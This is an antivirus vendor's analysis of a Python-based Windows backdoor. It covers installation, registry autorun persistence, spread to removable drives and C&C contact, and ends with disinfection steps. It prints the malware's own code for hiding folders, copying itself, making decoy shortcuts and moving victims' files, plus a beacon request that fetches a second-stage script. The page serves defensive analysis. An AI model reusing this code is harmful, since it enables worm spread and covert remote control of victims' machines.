Mi biblioteca
Mi biblioteca

+ Añadir a la biblioteca

Soporte
Soporte 24 horas | Normas de contactar

Sus solicitudes

Perfil

Python.BackDoor.33

Added to the Dr.Web virus database: 2017-10-12

Virus description added:

SHA1:

  • 05cae95a3340395e363c2d6bddbc57833dbdb85c

A backdoor for Windows written in Python. Contains a packed tool py2exe.

Installation

  • If a file name does not match “mscore.exe”, it creates its copy in a folder All Users\Application Data\NetFramework\ with the name mscore.exe.
  • Registers itself in the autorun: if administrator privileges are available—in the registry branch [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run], else—in the branch [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run].
  • Shuts down the script and wait for a reboot.

Distribution

  • Tries to infect removable media with names from C to Z:
    
    for letter in 'CDEFGHIJKLMNOPQRSTUVWXYZ':
                    drive = u'{}:\\'.format(letter)
                    if bitmask & 1 and ctypes.windll.kernel32.GetDriveTypeW(drive) == 2:
                        mounted_letters = subprocess.Popen('wmic logicaldisk where deviceid="%s:" get Size' % letter, startupinfo = startupinfo, stdout = subprocess.PIPE, stderr = subprocess.STDOUT, stdin = subprocess.PIPE)
                        length = mounted_letters.stdout.readlines()[1].strip()
                        if not length.isdigit():
                            continue
                        volume_name_buffer = ctypes.create_unicode_buffer(1024)
                        ctypes.windll.kernel32.GetVolumeInformationW(drive, volume_name_buffer, ctypes.sizeof(volume_name_buffer), None, None, None, None, None)
    
  • Creates a hidden directory:
    
    hidden_folder = os.path.join(drive, unichr(160))
    if not os.path.exists(hidden_folder):
        os.mkdir(hidden_folder)
    ctypes.windll.kernel32.SetFileAttributesW(hidden_folder, 2)
    
  • Saves its copy with the name VolumeInformation.exe:
    
    destination_file_path = os.path.join(drive, 'VolumeInformation.exe')
    if not os.path.exists(destination_file_path):
        shutil.copyfile(sys.argv[0], destination_file_path)
        ctypes.windll.kernel32.SetFileAttributesW(destination_file_path, 2)
    
  • In the root disc directory, it creates a link that looks the following way: <volume name>.lnk (or Removable Disk.lnk). The link refers to the malicious executable file VolumeInformation.exe:
    
    ctypes.windll.kernel32.GetVolumeInformationW(drive, volume_name_buffer, ctypes.sizeof(volume_name_buffer), None, None, None, None, None)
    if len(volume_name_buffer.value) == 0:
        lnk_name = 'Removable Disk'
    else:
        lnk_name = volume_name_buffer.value
    
  • Moves files different from .lnk, VolumeInformation.exe and .vbs to the preliminary created hidden folder:
    
    for content in os.listdir(drive):
        if not content.endswith('.lnk') and not content.endswith('.vbs') and 'VolumeInformation' not in content:
            try:
                shutil.move(os.path.join(drive, content), hidden_folder)
            except:
                continue
    

Communication with the C&C server

The Trojan attempts to define an IP address and an available port of the command and control server by sending a request to several Internet servers:


url_list = [
    'http://pastebin.com/raw/xf****iX',
    'https://docs.google.com/document/d/1kKwT8qwi********Nw1g65CVDLdphA0qs'
    'http://notes.io/r***H'
]

If it is successful in obtaining an IP address and a port, it sends a request to the C&C server. The request looks the following way:


GLOBAL_SOCKET.sendall(str({
    'mode': 'buildClient',
    'from': 'client',
    'payload': '{}'.format(MODERATOR), # MODERATOR = "UPX"
    'key': '',
    'module_id': '',
    'session_id': '' }) + '[ENDOFMESSAGE]'
)

As a response from the C&C server, a script written in Python is downloaded. It is detected as Python.BackDoor.35.

News about the Trojan

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android